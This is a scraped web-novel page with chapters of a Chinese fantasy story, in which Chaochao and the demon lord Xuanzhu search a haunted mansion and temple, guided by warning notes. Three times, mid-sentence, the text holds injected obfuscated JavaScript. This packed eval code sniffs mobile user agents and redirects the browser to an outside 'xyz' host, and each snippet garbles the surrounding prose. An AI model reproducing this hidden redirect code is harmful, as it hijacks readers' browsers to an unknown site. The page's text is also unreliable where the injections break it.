玄烛幽声道:“那你不该阻拦我杀幻境中的人,找出邪祟太过麻烦,全部杀光最为省心。” 听完这话,朝朝下意识蹙起眉头,不过略微思忖后,她又展眉含笑,小步走到玄烛身边,轻声开口:“天魔大人这是在同我说玩笑话吗?” 这次换玄烛皱起眉头看向她。 朝朝轻启唇瓣:“你不是比我先到的桑家吗?” 说着,她冲玄烛挑了下眉梢:“若你真想动手杀他们,不用等我到这里他们就死透了,既然他们现在还活着,就说明刚才的话你只是说说罢了,你根本没想动他们。” 玄烛眸中闪过不悦。 他很讨厌朝朝这副对他了如指掌的表情。 半晌他烦躁地从朝朝身上移开视线:“留着他们,是因为他们还算有些用处。” “你是发现什么了吗?”朝朝好奇地问道。 他淡声开口:“之前的幻境中,你说有人给了你很重要的线索。” 朝朝点头,如果不是赵成说黑猴子藏在树上,还提醒她不要睁眼的事,可能她现在还在密林中被那群猴子耍得团团转。 玄烛:“或许这里也会有人给出线索。” 朝朝略微思忖,然后认同地点了两下头。 玄烛将左手伸到香炉上方,那缕清烟便似是有了意识,旖旎地缠绕住他的食指指尖。 他漫不经心地勾起修长的手指,挑逗着指尖上的玩物,吐出冷沉的声音。 “一边出谜题,一边送线索,主宰这十恶境的东西还真是自大。” 随着话音的落下,他轻弹手指,那缕清烟倏地四散开。 主宰十恶境的东西…… 崇明上神想要的,就在那东西手里吧。 朝朝有一瞬间的失神,但很快她便收回思绪,连忙从袖中拿出刚刚捡到的小纸条。 “这纸条是我刚刚捡到,你看看上面的字。” 玄烛眸色疏冷的看向她手中的纸条,静默片刻后才伸手接过纸条。 视线飞快扫过纸条上的字后,他兴致乏乏地将纸条丢在了地上。 朝朝连忙重新将纸条捡起,说道:“别扔啊,搞不好这就是线索呢。” 她又问道:“天魔大人没有发现像这样的纸条吗?” “没有。”玄烛冷淡的回了两个字后,便转身朝门口走去。 见他要离开,朝朝急忙开口发问:“天魔大人…..我们现在这算是合作吗?” 闻言,玄烛停住脚步,缓缓侧过脸。 刚好月亮从乌云后露出,月光洒入屋内。 他颀长的身姿逆着月光而立,侧脸的轮廓越发清晰,脸上的表情却变得十分模糊。 “这不是合作,而是利用。” “我,利用你。” 阴冷地留下这两句话后,玄烛离开了屋子。 利用吗? 朝朝无所谓地一摊双手,并不觉得利用这两个字有什么不妥。 反正一开始她就提议过让玄烛利用自己,而且她也一直在利用玄烛。 如此,便算是扯平了。 桑宅内,玄烛孤身行走在积满雨水的青石板路上,雨后的空气中充满了潮湿的泥土味,其中还夹杂着一缕莫名的腐败之气。 直到月光再次被乌云遮盖,他才停住脚步,眸色犹如深渊般看向前路的漆黑。 对于他来说,拥有不死之身的朝朝很麻烦。 所以他要先于朝朝找出破解幻境的方法,破解幻境后独自离开,将朝朝永远困在此幻境中。 想着,玄烛神色阴冷的从怀中取出一张纸条。 一、桑宅中的每个人都很友好,你可以完全信任他们,但请记住,宅中之人的左手都只有五根手指,没有人是六指,如果你发现有人的左手是六指,请想尽方法远离他,并寻找桑宅中左手拥有正常五指的人,同那人待在一处,直到六指之人离开,切记切记! * 朝朝从床上醒来时,屋外的天空刚翻起鱼肚白,院子里的柳树树叶上挂着无数晶莹剔透的露珠,地面湿漉漉的,是昨夜大雨残留下的痕迹。 她换好衣服,在铜镜前坐下,正要动手给自己编个利落的辫子,屋门忽地被人推开。 商枝轻步走入,瞧见朝朝坐在铜镜前的样子,她又连忙快步走来:“小姐,我来帮您梳妆。” 说着,也不给朝朝拒绝的机会,她便拿起梳子,小心地理顺朝朝的长发。 朝朝有些不适应像这样被人伺候,又觉得二人都不说话,周围显得太安静,她更加不自在了,下意识用右手揉了揉脸颊后开口问道:“商枝,昨夜你睡得好吗?” “昨夜我睡得可香了。” 商枝将她的一半长发挽起,用两根白玉珍珠燕簪将其固定住,又说道:“桑老爷和桑夫人真是好人,竟然给我也准备了单独的房间,我原本以为是哪里弄错了,昨夜急忙跑去问天葵,结果天葵说那屋子就是给我准备的,桑夫人觉得我们初来乍到,到陌生的地方肯定凡事都不习惯,所以希望小姐和我都能住得舒服些,好尽快适应这里。” 闻言,朝朝喃喃道:“舅母对我们可真好。” 商枝反过来问她:“小姐昨夜睡得可好?” 朝朝立刻露出让她安心的笑脸,应道:“我睡得也很好,等下我便去舅父舅母那里请安。” 商枝点了点头,伸手拿起铜镜前的螺子黛,打算帮朝朝画眉,收回手时,突然从她袖中掉出一样东西。 朝朝低头看去,才发现是一张卷起的纸条,弯身捡起后她奇怪地问商枝:“这是什么?” “这是我在我屋子的门口捡到的,上面写的内容还稀奇古怪的,不过我看那上面写了桑宅,就想着拿给天葵看看,问问她这纸条是不是有用的东西。”商枝一边描着她的眉,一边回道。 奇怪的纸条。 这让朝朝想到昨夜自己捡到的那张纸条,她连忙将手中这张纸条展开。 四、桑宅中的每一处都可以踏足,唯独西院废园绝对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966625|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可进入,如果你不小心进入废园,记得要远离园内的古井,并尽快离开废园,井下危险,切记切记! “三、四……所以,这种纸条不止一个……”朝朝看着纸条出神地喃喃道。 见她神情有些严肃,商枝担忧地问道:“小姐,您没事吧?” “没事。”朝朝回过神摇了摇头,看向商枝后又说道:“虽然不知道这纸条上写的是真是假,但我们寄人篱下还是多小心些为好,以免犯了什么禁忌,以后我们最好离西院废园远一些,记住了吗?” 商枝乖巧地点头回应。 朝朝略微沉默后又开口说道:“商枝,如果以后你再发现这样的纸条,你就拿来给我。” “小姐要这种奇怪的纸条做什么?”商枝一脸的不解。 朝朝无法清楚地向她解释,只好随意编了个借口:“我觉得这纸条挺有意思的,你看这上面有个四,说明肯定还有写着一二三的纸条,我有些好奇其他纸条上都写了什么。” 幸好商枝没有细想此事,立刻点头答应下来,朝朝也就省了继续编借口的心力了。 朝朝到中堂时,屋内只有舅母荣欣兰一人。 荣欣兰一身价值不菲的锦缎,头上戴的皆是纯金的发饰,端坐在主座之上,整个人雍容华贵,但又不失娴雅大方。 “舅母安康。”朝朝按照记忆中人界的礼法向荣欣兰问安。 瞧见她乖巧的样子,荣欣兰的眉眼染上笑意,连忙指着一把椅子说道:“阿朝快坐,咱们家没那么多规矩,你以后早上就不用跑来问安了,有这功夫你多睡会儿多好啊,平日里我与你舅父也不会早起的,你来问安很可能会扑空。” 朝朝在椅子上坐下,左右看了看,没瞧见桑岐南的身影后问起来:“舅母,舅父怎么不在?” “他要去铺子里处理些事,天还没亮便下山进城了。”荣欣兰端起茶盏啜饮一口,而后似是想起什么,含笑对朝朝问道:“阿朝,你是不是从来没到过邺城?” 朝朝点头:“是。” 荣欣兰:“那今日便让远儿他们带你到城里的夜市玩玩吧。” 她的话还没完全落下,桑家三兄妹便从外面走入。 “我刚好说到你们,你们便过来了。”荣欣兰掩唇笑笑,柔声道:“明日你们三个带着阿朝到城里好好玩玩。” 闻言,桑远微垂眉眼,和煦地回了句:“好的,母亲。” 朝朝将视线转向那兄妹三人,刚好和桑婉的视线撞上。 桑婉的双眸有些阴沉,与朝朝对上视线后,不悦地皱了下眉头,随后又急忙错开视线,似乎很不想看到朝朝一般。 朝朝是越发糊涂了,这个表姐到底为何如此讨厌她呢? 她正苦思此事,桑洵突然向她发问:“阿朝喜欢什么?” “喜欢什么?”她一时没反应过来这话的意思。 桑洵双眼笑得弯起,眼底闪烁着欣喜的光亮,似乎很期待朝朝的答案,说话的声音中也是掩不住的激动:“我问你喜欢什么?吃的、玩的、想要的任何东西都可以告诉我,我全能满足你。” 朝朝微怔。 不知道是不是错觉,眼前的桑洵和昨夜的桑洵很不一样,但现在这个神情又让朝朝觉得有点眼熟。 “阿朝,你洵表哥问你话呢。” 荣欣兰的声音唤回了朝朝的思绪,她连忙回道:“我没什么想要的。” 荣欣兰笑道:“那等你想好要什么,就同你洵表哥说,让他送给你。” 朝朝只好点头应下。 早饭准备好后,几人准备在八仙桌前落座,桑洵却突然说自己忘了什么事,要回屋一趟。 他朝门口走去时,朝朝注意到,他的左手不知为何一直都半遮半掩在袖子中。 某一瞬间,她好像看到桑洵的左手,是六根手指…… 10. 千阴宅 用完早膳,荣欣兰便说要回房间小憩一会儿,离开前还不忘让桑婉多陪陪朝朝。 荣欣兰前脚刚走,后脚桑婉也冷着脸扭头离开,没有给朝朝半个眼神。 这样倒也好,朝朝正想独自在桑宅中探查一番,找找看破境的方法。 桑家真的很大,要想将这宅邸整个都走一遍,足足需要花上近半个时辰,与其说是宅子,不如说这里是个山庄。 东面有一个花园,出了花园便是桑岐南、荣欣兰住的院子,隔着一道墙则是桑家兄弟的院子 而桑婉则和朝朝住在南院,南院旁有一个藏书阁,藏书阁的对面是一个佛堂。 北侧是疱屋等房间,护院和其他下人们也都住在北院。 将这些地方逛的差不多了,她才往西园走去。 快走到西园的最边缘时,朝朝看到一个月洞门,透过门洞能看见里面杂草丛生,尽是一片荒凉景象。 朝朝脚步停在月洞门外,皱着眉头专注地看着里面。 “朝小姐,您怎么在这里?” 身后突然响起的声音吓了她一跳,回身看去才发现是那名叫陆承的男子。 “我……我就是随便走走。”朝朝压着心底的慌张回道。 “这样啊。”陆承浅笑着走到她身旁停下,视线朝月洞门的方向移去,“这里是废园,没人住,桑老爷也觉得没有必要浪费人力把废园打理出来,所以此处就荒废了。” 果然如朝朝所想,这里便是纸条上提到的西院废园。 她连忙开口问道:“这里是禁地吗?就……桑家有没有不准靠近这里之类的规矩?” 听她问完,陆承微怔,片刻后失笑出声,笑了一阵才答道:“怎么可能有这种奇怪的规矩,桑老爷是个坦荡的人,桑家从来都没有过什么禁地之说,这里面全是杂草所以才没有人愿意过来……不过,刚搬进这宅子时,有人说在废园内看到过蛇,所以你最好不要进去,如果被蛇咬到就不好了。” 朝朝:“那废园里是不是有一口古井?” “有啊,不过井水已经枯竭,不能用了。”陆承答完后看向朝朝,奇怪的问她:“朝小姐怎么知道里面有古井?您进去过了?” 朝朝正摸着下巴,认真思忖着,并没有将陆承的问话听入耳中。 按照陆承所说,废园是可以随意进入的,古井也很普通,但纸条上却说,这废园内的古井很危险。 到底该相信陆承还是纸条? “朝小姐,您在想什么呢?”陆承抬起右手在她发怔的双眼前晃了晃。 朝朝回过神,换上笑脸说道:“没什么。” “嗯……”陆承看着她,眼尾染上一点柔和的笑意。 片刻后,他稍稍靠近朝朝,小声提议到:“如果您想进去看看,我可以陪您。” “不用了。”朝朝连忙摆手,“我只是路过而已,并不想进去。” 这废园内到底有何玄机,她还不能确定,为了不把陆承卷入危险中,探查废园之事还是她独自一人时进去为好。 二人转身离开时,陆承又提议护送她回南院,朝朝本想拒绝,但陆承没给她开口的机会,直接抬脚向前走去,她也不好再多说什么,只能跟了上去。 不过这样也好,她可以从陆承口中再多打听些事情。 朝朝:“陆承,你在桑家当护卫多久了?” “很久,我都记不清具体有多少个日子了。” 朝朝有些惊讶:“那么久吗?舅父一家一定对你很好,不然你也不会心甘情愿地在桑家待这么久吧?” “是啊。”陆承浅笑说着,又转头看向她:“朝小姐突然来到这个陌生的地方,应该很不安吧?不过您不用担心,这里每个人都很好,他们也都很喜欢您,您可以安心留在此处。” 听到陆承说大家都很喜欢她,朝朝尴尬地用食指挠了挠脸颊,小声说道:“也不是所有人都喜欢我吧。” 陆承面露不解:“这是什么意思。” 朝朝有些犹豫地开口:“那个……我感觉表姐好像不怎么喜欢我,每次她看我的眼神都……冷冰冰的,我就在想是不是我做了什么惹她不高兴的事了。” 陆承轻笑摇头:“不是你的错,婉小姐从小就身体不好,两个月前还在鬼门关走了一回,她受了那么多苦难,好不容易才把命捡回来,这脾气自然古怪一些,但其实她很善良,对你应该也不是讨厌。” “表姐在鬼门关走了一回?!”朝朝面露诧异,“这是怎么回事?” 见她完全不知情的模样,陆承只好慢声给她讲起来。 “婉小姐患有先天心疾,从小就缠绵病榻,桑老爷和夫人为她寻遍名医,但未能寻到一个医治好的方法,只能每日用汤药吊着她的命,不过病症还是一日比一日严重,两个月前婉小姐病入膏肓,当时桑家的每个人都准备好办丧事了。” 朝朝:“丧事?这么严重?那表姐的病是如何治好的?” 陆承摇了摇头:“我也不清楚,那病突然就好了,可能是桑老爷找到了什么偏方吧,桑小姐能把病治好,大家都很开心,所以也没人惦记去问细枝末节的事了。” 什么偏方能把一个将死之人从鬼门关拉回来?难不成是仙丹? 又或者……与邪祟有关? 此时,她的身后忽然升起一股莫名的冷意。 她猛地停住脚步,立刻回头寻找冷意的来源。 但,身后空无一人。 身旁的陆承看着她严肃的表情,疑惑地问道:“怎么了?” 朝朝稍稍缓和紧绷的表情,朝陆承摇了摇头。 二人继续向前走去。 无人注意到右侧屋内的人影。 她站在纸窗前,黑色的瞳孔对准窗上的窟窿,注视着朝朝渐行渐远的背影,兴奋地低喘着。 “你……是我的……” * 午后申时,荣欣兰命人备了两辆马车,方便朝朝同桑家三兄妹下山游玩。 下山的路上,商枝不停地同朝朝讲着邺城内的好吃的好玩的,虽说这些都只是她听说的,但她还是难掩期待。 朝朝却听得有些心不在焉,只是不时敷衍的‘嗯’一声做回应。 她抬起右手,将身侧车窗的帘子掀开一点朝外看去。 马车外,青山绿野飞快后退,几只燕子刚好从树梢飞起。 正是六月好风景。 这天气确实适合出游,只可惜此次下山,玄烛并不在行列中。 陆承说他刚到府中不过七日,还不熟悉府中事务,便将他留在宅中学习了。 玄烛也不在意能否下山,但朝朝却很在意。 在这险恶的幻境中,他们二人自然是时刻待在一处才好。 她需要玄烛强大的力量助她逃脱十恶境。 同样她也要利用自己的不死之身,来保证玄烛能顺利抵达十恶境的深处。 朝朝望着车窗外,眸色渐深。 见她良久不语,商枝试探地唤道:“小姐?” 朝朝回过神,换上柔暖的笑容:“怎么了?” “没什么,就是觉得小姐好像有心事。”商枝说道。 朝朝摇头道:“没有,我刚刚只是在想游玩的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966626|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 话回到游玩上,商枝又重燃激动之情,滔滔不绝地继续讲起来。 暨至邺城内,商枝先下了马车,想要搀扶朝朝下马车。 然而等朝朝将半个身子探出时,伸来的却是一只男人的手。 手的主人是桑洵,此刻他正带着浅淡和煦的笑意看着朝朝。 虽然都是面带微笑,但眼前的桑洵却和早上的他全然是两个人。 此刻的他清清爽爽,并不会让朝朝感到不适,而早上的他,却隐隐透露着令朝朝不安的阴暗感。 朝朝的视线下意识落在桑洵的左手上。 五根手指,十分寻常,与常人并无不同。 难道早上是自己看花眼了? 朝朝正疑惑时,又瞥见桑洵的袖下似乎有疤痕。 见朝朝在发怔,桑洵轻声唤道:“表妹?” 她回过神来,由着桑洵扶着自己下了马车,站稳脚时,假装无意地撩起了桑洵的袖口,衣袖下的伤疤顿时一览无余。 那是一道横穿手腕,无比狰狞的凸起的伤疤,一看便是用刀割出来的。 “洵表哥,你这伤疤是怎么弄的?”朝朝问道。 桑洵看了一眼那伤疤,随后不慌不忙地用衣袖遮挡住,轻声回道:“我也不记得这伤疤是怎么来的了。” “不记得?”朝朝有些惊讶,“这伤疤一看就很深,如此深的伤口,怎么可能不记得了。” 桑洵轻小说道:“应该是我儿时弄伤的吧,时间太久了,所以就不记得了。” 他话音刚落下,不远处的桑远便唤起他们:“阿洵,朝朝,快过来。” 朝朝便跟这桑洵一起走过去,心里却还是对桑洵手腕上的伤疤很在意。 那样的疤痕,分明当初是足以夺走桑洵性命的伤口,桑洵怎么会一点印象没有呢…… 此事虽令人困惑,但朝朝很快就被周遭的景象吸引走了注意力。 邺城四季如春,物产丰富,东有码头,北通皇城上京,是物品流通的重地,正谓市列珠玑,户盈罗绮,竞豪奢。 朝朝虽没去过人界,但看过很多有关人界繁茂景象的书,对人界也不少,没想到此处虽为幻境,可城内市井的热闹和那书中竟然别无二致,甚至有过之而无不及。 一踏上长街,她便瞪大了双眼看着街上熙熙攘攘的人群,还有两侧琳琅满目的铺子和商摊,不由地喃喃道:“这幻境中的人界可比天界有趣多了。” “天界?那是哪里?”桑洵疑惑地看向她。 朝朝连忙摆手:“没什么,我只是在感叹这邺城实在繁华。” 桑远从后方走到朝朝身边,含笑说道:“这才哪儿到哪儿,等会儿我们先去文楼听戏,天黑了再带你在夜市玩玩,夜市更热闹,到时满街的灯笼都会被点亮,犹如长龙,那景象才美得醉人。” 听他这么一说,朝朝也忍不住激动起来。 一行人说说笑笑的朝文楼走去,除了桑婉。 她走在最后,神情幽幽地看着桑远身边的朝朝身上。 而后她不动声色地摸了摸袖中的匕首。 某间铺子的屋顶上,玄烛萁坐于此,冷眼注视着桑婉的动作。 片刻后他又瞥了眼正有说有笑的朝朝,最后从怀中摸出在桑岐南和荣欣兰屋中找到的纸条。 “六,书中自有黄金屋,书中自有颜如玉,若想破解桑宅谜,可至佛堂阅金经,佛像闭眼方可阅,佛像睁眼杀机现。” 当视线从纸条上的最后一个字上滑过时,玄烛的唇角微微弯起。 看来,他很快就能摆脱那个麻烦了。 11. 千阴宅 从文楼出来时,天幕已经渐深,长街两侧的灯笼一盏盏点亮,灯火相连,似银河之水,向着前方缓慢流淌。 夜市一开,街上的人便更多了些,人头攒动,朝朝很少见到这种人挤人的景象,哪怕明知此处是幻境,她的兴致还是高涨而起。 她跟在桑家兄弟的身后,视线却紧紧黏在街两侧的摊位上。 鼎沸的人声,各色的面孔,温暖的烟火气。 这便是人间,崇明上神所保护的人间。 她怔怔看着四周,将眼前的景象和过去从书上所了解到的人间一一对应,心底先是激动,然而紧随而来的却是一股悲伤。 她想到十恶境外那个真实的人间,那里一定比这个幻境更加美好。 想着,朝朝暗暗攥紧双拳。 她一定要抓紧破解幻境,将追曜珠带出十恶境。 刚思及此处,走在前面的桑远忽地停下脚步,转身笑着看向她。 “朝朝,你看到什么想吃的、想玩的就和我说,表哥全都买给你。”他慢声说着。 朝朝连忙不好意思地摆手:“不用不用,我带了银子,有想要的东西我会自己买的。” 听她说完桑远抬手温柔地揉了揉她的发顶:“你是妹妹,哥哥给妹妹买东西是天经地义的事,所以你就不要和表哥客气了。” 说完,桑远准备转身继续朝前走,可身子转到一半他又倏地顿住,片刻后他再次看向朝朝。 “朝朝,这街上人多,你最好不要乱跑,若和我们走散,再碰上坏人就糟了……如果我们真的走散了,你就回到文楼前,我们会回到那里找你,还有……” 话到一半,他神色微沉。 朝朝有些奇怪地问道:“还有什么?” 桑远的声音也往下沉了沉:“还有,不要朝街的西侧去,那里有一座寺庙,那寺庙很危险。” “危险?”看着桑远严肃的表情,朝朝连忙追问,“那里有什么危险?” 桑远微顿,开口却未回答朝朝的问题:“总之你要远离那里,否则……” 否则什么,他也没说,只是意味深长地看了一眼朝朝,而后转身继续朝前走去。 朝朝皱眉跟在他身后,原本游玩的兴致已经全然熄灭。 桑远的话到底是什么意思?难道和她发现的那些纸条一样,是警告或提醒? 她不确定,但眼下她不敢轻举妄动,只能将这些都当成忌讳,小心地避着。 “小姐您看,那边有卖酥糖的!”商枝突然凑到朝朝身边,打断了她的思绪。 瞧商枝想吃的样子,朝朝停下脚步,从钱口袋中摸出些银子递给商枝:“正好我想吃酥糖了,你去买些咱们分着吃,剩下的银子你就看看还有没有其他好吃的,也买回来。” 听她如此说,商枝高兴点了下头,随后立刻转身小跑开。 商枝刚跑出去没多远,人群中突然伸出一只手,死死抓住朝朝左手腕,用力将她向后一扯。 朝朝完全没有预料到这一遭,整个人向后一晃,差点跌倒,急忙倒腾几步才堪堪稳住脚步,可人还是被那只手拉着,逆着人群向前走去。 她抬眸定睛看去,看到那身藕荷色衣裙时面露诧异。 “婉表姐?你这是要带我去哪里?” 桑婉并未理会她,而是一言不发地拉着她继续向前。 朝朝回头看了一眼,身后熙熙攘攘的人群早已将桑远几人的身影掩盖。 她又朝桑婉拉着她走的方向看去,才发现她们正朝着长街的西侧走去。 朝朝心里一惊,桑远刚和她说完不可以去西侧,桑婉便非要拉着她过去,这…… 可不妙啊。 她连忙将身子向后倾,想用身体的重量组织桑婉继续向前。 “表姐,我们都和远表哥走散了,还是不要再往那边走为妙,不然就找不到远表哥了。”朝朝放软声音劝说桑婉,身子则暗暗和桑婉较着劲,试图阻拦她前行的脚步。 这话一落下,桑婉确实停住了脚步,还转过身看向朝朝,只不过脸上的表情却十分狰狞凶狠。 朝朝被桑婉那狰狞的样子吓得一时怔愣,不等她回过神,一个坚硬的东西又抵住她腰间。 她低头看去,桑婉手中正握着一柄锋利的匕首,而尖端正对着她的小腹。 “乖乖跟我走,不然我就杀了你!”桑婉咬牙低声说道,手上也稍稍用力。 腹部感受到了压迫,朝朝下意识吸了口气,绷紧小腹,面上挤出一个不太和谐的笑容:“这个玩笑可不太好笑,表姐……” “闭嘴!”桑婉低吼一声打断她的声音,“我不是你表姐!桑远也不是你表哥……是你!你不是桑家人!马上给我滚出桑家!!” 桑婉越说越激动,拿刀的手也一颤一颤,弄得朝朝的心跟着忽上忽下,生怕桑婉不小心捅伤她。 她是不会死,可她怕疼啊! 朝朝连忙点头顺着桑婉的话说道:“对对对!我的确不是桑家人,表姐你别和我置气,我现在就离开,这样可以吗?” 桑婉愤愤地瞪了朝朝一眼,但没再多说什么,只是下巴朝旁抬了抬,示意朝朝继续向西走。 朝朝只好小步朝那边挪去。 其实要对付桑婉的威胁一点不难,她用个小法术就能打倒桑婉,但眼下周遭全是人,她若用法术闹出大动静,也不知道会有什么后果。 她想得头痛,右手扶额揉了揉,桑婉便又在匕首上加了些力道,同时阴冷地说道:“快些走!” 朝朝无奈地点头,片刻后她笑嘻嘻地转头看向桑婉:“表姐,我是真心想离开,不过我不能就这样离开啊,我身上的银子没带够,我来时的包裹都在宅子里呢,而且我也不能丢下商枝不管啊,不如这样吧,你让我回去带上包裹和商枝,我明日一早便离开。” 桑婉干脆地否了她的话:“少废话!你现在就给我离开!” 被堵了话,朝朝委屈地扁了扁嘴,脚下没注意,被身旁的路人踩了右脚,她再一用力,竟将右脚生生从鞋里拔了出来。 她本能地想要低头寻被踩丢的鞋,但桑婉的匕首又用了几份力,冷声道:“别想耍花招,继续走!” “我没想耍花招,我鞋子被踩丢了,你至少让我找到鞋再走吧。”朝朝一副欲哭无泪的表情。 桑婉完全不想管她鞋子的事,只吐出一个字:“走!” 朝朝便忍着右脚脚底的凉意和不适继续向前。 二人走了良久,周遭的路人越渐越少,直到肉眼能见到一座庞大的寺庙矗立于路的尽头时,桑婉才拉着朝朝停下脚步。 那寺庙披金裹银,气势磅礴,还未靠近朝朝便感觉到一股清净之气隐隐袭来。 桑婉皱了皱眉头,片刻后她缓缓收起一直抵着朝朝的匕首。 “你走吧,若今夜走不了,便去寺中留宿一晚,不过明早你必须离开这里。” 说完,桑婉便要转身离开。 朝朝急忙叫住她:“等一下!表姐,你能告诉我我到底做错什么了吗?你为什么如此讨厌我?” 桑婉的脚下顿住,犹豫一瞬后,才侧脸看向朝朝。 “你的错就是不该来桑家。” 朝朝心想自己也不愿意来啊,这不是被十恶境弄来的嘛! 不过纠结桑婉的厌恶也没太大用处,于是她又换了个问题:“前面那个寺庙到底是什么地方?远表哥说那里很危险,既然危险,你为何还要我去那里留宿?” 这次桑婉没有立刻回答她,而是眸色微颤,看着旁处发起怔来。 半晌她才淡声开口:“那里对你来说没有任何危险。” 她最后看了朝朝一眼,而后转身大步离开。 朝朝站在原地看着她的背影,眉头紧锁。 刚刚桑婉那最后一眼,没了厌恶,只剩悲伤。 她在悲伤什么?她和桑远为何说着相反的话?桑家到底隐藏着什么秘密? 朝朝还想不通这些问题,她知道,自己还没有找到最重要的线索。 想着,她向远处的寺庙看去。 既然桑远和桑婉说了完全相反的话,那他们二人之中必然是一真一假。 谁真谁假虽不可知,不过既然他们都提到寺庙,那么那里绝对有重要的线索。 朝朝快步朝寺院走去,走到寺庙的大殿门口,抬头便看到大门正上方的金匾。 普净寺。 她并没有立刻迈进去,只是站在门外,探头探脑地向普净寺的大殿里张望着。 寺庙之中空无一人。 她不确定里面有没有危险,桑婉讨厌她,说这里没危险的话未必可信,但笑里藏刀的人也有,所以桑远的话也不能信。 现在还是小心些方为上策。 朝朝自己给自己的想法点了下头,可这头刚点完,身后突然伸出一只大手,猝不及防地将她推入了大殿之中。 “啊!” 她大叫一声,人往前踉跄走了好几步才停住脚,然后她双脚并拢僵站在原地,黑白分明的眼珠转了转,看了看周围,确定没有危险后才长舒一口气。 随后她气鼓鼓地转过身:“谁推的我?!也太缺德了吧……” 随着看清身后的人是谁,朝朝的声音越来越小,最后那个‘吧’字更是颤得怪了几个弯。 一袭红衣的玄烛双臂环在胸膛前,靠在大殿的门边,轻抬眉稍,眸色清冷地扫视着大殿,最后视线才落在朝朝身上,缓缓吐出低沉的声音。 “你说什么?” “天魔大人!”她高兴地大叫一声后小跑到玄烛身边,仰面将双眼笑成月牙状,说道:“我说你刚才推我推的力道刚刚好,把我的腰酸背痛都治好了!” 玄烛垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966627|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸冷睨着她,默声良久从鼻尖发出一个轻蔑的哼声,口中吐出四个字。 “谎话连篇。” 这四个字朝朝可不认,颇为正经地纠正起玄烛:“天魔大人,我这不叫谎话连篇,你应该叫我马屁精。” 说完,她又笑吟吟地看向玄烛。 玄烛与她那双亮晶晶的眸子对视一瞬后,便匆匆移开眼,抬脚也迈入大殿中。 朝朝紧跟在他身旁,好奇地问道:“你怎么来这里了?你不是被陆承留在桑家了吗?” “我为何要听他的?”玄烛淡漠地回了句。 朝朝认真点点头:“也对,这种话不听是对的,不然会耽误我们破解幻境的。” 听到‘我们’二字时,玄烛又不动声色地瞥了一眼朝朝。 但朝朝并未察觉他的视线,而是自顾自地说着:“我跟你说啊,那个桑婉有些古怪,她竟然用匕首威胁我离开桑家……” “我知道。”玄烛凉薄地打断她。 知道? 朝朝抿唇想到,看来玄烛一直在跟踪她。 对于她来说,不管玄烛是出于何目的跟踪她,只要他们不用分隔太远,就是好事。 随后她从怀中摸出商枝找到的纸条:“这是商枝找到的第二张纸条,你看看吧。” 她将纸条递出去,待玄烛看完,她才问道:“说起来我已经收到两个纸条了,你呢?难道一张纸条都没有发现吗?” 玄烛将纸条丢还给她,冷漠地转身在殿中查探起来,对朝朝的话却好似没有听见般。 朝朝也没有多问,而是跟着他调查大殿,只不过小声念叨起来:“咱们进来后什么事也没发生啊,难道桑婉说的是真话,这里并没有什么危险?那桑远为什么要骗我说这里有危险呢?” 大殿中格外寂静,哪怕朝朝的声音并不大,但还是在空旷的殿中留下了细小的回声。 殿中正对大门的是一尊巨大的金身菩萨像,神像半阖着眼,悲悯地看着世间,一手捏诀雷霆现降妖除魔,一手展掌赐慈悲普渡众生。 这神像令人起敬,也给人压抑。 佛像的下方摆着什么东西,不过用红布遮盖着,具体是什么东西无法知晓,只能看个大概的轮廓。 那东西看起来有人的小臂那般粗长,而且一头尖细一头粗。 玄烛的视线幽沉地停在那东西上面。 这里四处都没有什么古怪,只有那红布下面隐隐透露出一股力量。 十分微弱的力量,若不仔细探知,根本无法察觉。 玄烛微眯锋利上挑的眸,倏然抬手挥袖,一道裹着黑气的蓝色火焰迅速飞出,猛然将红布烧成灰烬。 灰烬飘然落地,红布下的物件展露真身。 一个浑身布满经文的金杵横在静静地横躺在架子上。 朝朝有些诧异地看着那东西,想抬脚靠近瞧瞧那物件时,脚下的地面突然隐隐颤动起来。 “怎么回事?!”朝朝慌张地低头看着脚下。 地面震动地越发厉害,很快朝朝便站不住脚了。 她刚要扶一下身旁的玄烛,抬眸却瞥见拿架子上的金杵竟已经飞起,以迅雷不及掩耳之势朝二人刺过来。 朝朝与玄烛同时后退几步,又一同凌身飞起。 随着二人飞到半空中,金杵也瞬时改变方向,满是杀气地紧追他们而来。 “糟了,这东西是冲我们来的!”朝朝蹙眉说道。 玄烛没有接话,而是旋身朝左飞去躲避金杵的追击。 朝朝也急忙跟上他,只不过玄烛的面色冷薄,不见紧张,而她却皱着一张小脸,紧张的要死。 二人飞出普净寺大殿,金杵也紧随而出。 朝朝回头看了一眼,嘀咕道:“难道桑远说的是真话?” 玄烛不慌不忙地瞥了她一眼,凉凉道:“你又不会死,怕什么。” 